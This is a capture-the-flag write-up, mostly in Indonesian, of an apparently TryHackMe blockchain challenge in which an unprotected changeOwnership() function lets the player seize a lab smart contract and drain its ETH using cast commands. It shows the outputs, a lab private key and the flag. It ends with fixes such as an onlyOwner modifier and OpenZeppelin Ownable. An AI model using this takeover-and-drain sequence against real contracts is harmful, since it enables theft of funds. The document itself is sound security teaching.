A weakness in the Cipher's Smart Contract could drain all of the ETH in its treasury, thereby breaking the funding to the Phantom Node Botnet and disabling its global malicious operation.
Category: Blockchain || Level: EASY
Dalam tantangan ini, terdapat kelemahan dalam Smart Contract bernama `Cipher's Smart Contract` yang memungkinkan saya menguras semua ETH dari treasury. Jika ETH berhasil dikuras habis, maka operasi jahat Phantom Node Botnet akan terhenti.
Informasi awal:
RPC URL: http://10.10.56.161:8545
API URL: http://10.10.56.161
Player Wallet Address: 0xDe482E6de4299e052Ded98c7aa6F1D52de68e326
Private Key: 0x4b7cdb389c1f5ac1723298129a91e6af45752da76cb7d07b1f43f8aeaf79d93b
Contract Address: 0x74dae0A0e456C8556525c7f16fB07CD9c25b2127
Saldo Awal Player: 2.0 ETH
Status Awal:
┌──(rwx4m㉿kali)-[~]
└─$ RPC_URL=http://10.10.56.161:8545
API_URL=http://10.10.56.161
PRIVATE_KEY=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.private_key")
echo $PRIVATE_KEY
CONTRACT_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".contract_address")
echo $CONTRACT_ADDRESS
PLAYER_ADDRESS=$(curl -s ${API_URL}/challenge | jq -r ".player_wallet.address")
echo $PLAYER_ADDRESS
is_solved=`cast call $CONTRACT_ADDRESS "isSolved()(bool)" --rpc-url ${RPC_URL}`
echo "Check if is solved: $is_solved"
Output:
0x4b7cdb389c1f5ac1723298129a91e6af45752da76cb7d07b1f43f8aeaf79d93b
0x74dae0A0e456C8556525c7f16fB07CD9c25b2127
0xDe482E6de4299e052Ded98c7aa6F1D52de68e326
Check if is solved: false
Cek Saldo Awal (target):
$ cast call $CONTRACT_ADDRESS "getBalance()(uint256)" --rpc-url ${RPC_URL}
Output:
200000000000000000000 [2e20]
$ cast send $CONTRACT_ADDRESS "changeOwnership()" --private-key $PRIVATE_KEY --rpc-url $RPC_URL --legacy
Output:
--SNIP--
status 1 (success)
transactionHash 0x8bfd17f302c55af1b905d846c3e8999bab53e9d98a4ba041aa9eb8e6c60db6c9
--SNIP--
Cek Kepemilikan Kontrak:
$ cast call $CONTRACT_ADDRESS "getOwner()(address)" --rpc-url $RPC_URL
output:
0xDe482E6de4299e052Ded98c7aa6F1D52de68e326
Menarik semua dana kontrak:
$ cast send $CONTRACT_ADDRESS "withdraw()" --private-key $PRIVATE_KEY --rpc-url $RPC_URL --legacy
Output:
--SNIP--
status 1 (success)
transactionHash 0x3b169ebe98d2b11bc64df2d190871d277822f5fb1585cb7796d19c1bfb704cf5
--SNIP--
Cek saldo:
$ cast call $CONTRACT_ADDRESS "getBalance()(uint256)" --rpc-url $RPC_URL
Output:
0
$ cast call $CONTRACT_ADDRESS "isSolved()(bool)" --rpc-url $RPC_URL
Output:
true
Hasil Akhir:
Saldo Player Setelah Eksploitasi: 201.999942511 ETH
Flag yang Didapatkan:
Flag:
THM{web3_h31st_d0ne}
Eksploitasi ini berhasil dilakukan karena adanya celah dalam fungsi changeOwnership(), yang memungkinkan siapa pun mengambil alih kepemilikan kontrak. Setelah kepemilikan diambil alih, penyerang dapat menarik seluruh dana dalam kontrak dan menyelesaikan tantangan.
Tantangan ini mengajarkan pentingnya mengamankan fungsi kepemilikan dalam smart contract, seperti menambahkan modifier onlyOwner atau mekanisme keamanan lainnya.
Untuk mencegah eksploitasi serupa, langkah-langkah berikut dapat diterapkan:
Gunakan Modifier onlyOwner
Modifikasi fungsi changeOwnership() agar hanya bisa dipanggil oleh pemilik asli kontrak:
modifier onlyOwner() {
require(msg.sender == owner, "Not owner!");
_;
}
function changeOwnership(address newOwner) external onlyOwner {
owner = newOwner;
}
Gunakan Ownable dari OpenZeppelin
Gunakan library OpenZeppelin untuk manajemen kepemilikan yang lebih aman.
import "@openzeppelin/contracts/access/Ownable.sol";
contract Challenge is Ownable {
function changeOwnership(address newOwner) external onlyOwner {
transferOwnership(newOwner);
}
}
Cegah Pengalihan Kepemilikan Tanpa Persetujuan
Tambahkan mekanisme persetujuan sebelum kepemilikan dialihkan.
Gunakan Multi-Signature Wallet
Menggunakan multi-signature wallet agar perubahan kepemilikan memerlukan persetujuan lebih dari satu pihak.